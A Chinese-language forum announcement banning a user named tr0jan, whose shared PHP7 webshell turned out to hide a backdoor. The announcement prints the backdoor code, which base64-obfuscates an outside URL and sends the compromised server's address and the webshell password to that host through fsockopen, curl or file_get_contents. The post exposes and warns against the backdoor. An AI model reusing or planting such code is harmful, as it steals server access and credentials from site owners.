关于封禁tr0jan公告

在其发布的”分享一个完美支持php7的大马 “主题中,经确认其分享的webshell存在后门:

if(isset($_GET['login'])=='geturl'){
    @set_time_limit(10);
    $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
    $serverp = postpass;
    $copyurl = base64_decode('aHR0cDovL3d3dy53b3JkcHJlc3MtanMuY29tL1VzZXItQWdlbnQucGhwP25hbWU9');
   //http://www.wordpress-js.com/User-Agent.php?name=
    $url=$copyurl.$serveru.'&pass='.$serverp;
    $url=urldecode($url);
    GetHtml($url);
}

function GetHtml($url)
{
    $c = '';
    $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
    if(function_exists('fsockopen')){
        $link = parse_url($url);
        $query=$link['path'].'?'.$link['query'];
        $host=strtolower($link['host']);
        $port=$link['port'];
        if($port==""){$port=80;}
        $fp = fsockopen ($host,$port, $errno, $errstr, 10);
        if ($fp)
        {
            $out = "GET /{$query} HTTP/1.0\r\n";
            $out .= "Host: {$host}\r\n";
            $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            $inheader=1;
            while(!feof($fp))
            {$line=fgets($fp,4096);
                if($inheader==0){$contents.=$line;}
                if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;}
            }
            fclose ($fp);
            $c= $contents;
        }
    }
    if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        $c = curl_exec($ch);
        curl_close($ch);
    }
    if(empty($c) && ini_get('allow_url_fopen')){
        $c = file_get_contents($url);
    }
    if(empty($c)){
        echo "document.write('<DIV style=\'CURSOR:url(\"$url\")\'>');";
    }
    if(!empty($c))
    {
        return $c;
    }
}

根据论坛规则:

给予永久封禁ID处理

希望大家共同营造一个好的环境,谢谢各位及时发现的成员。

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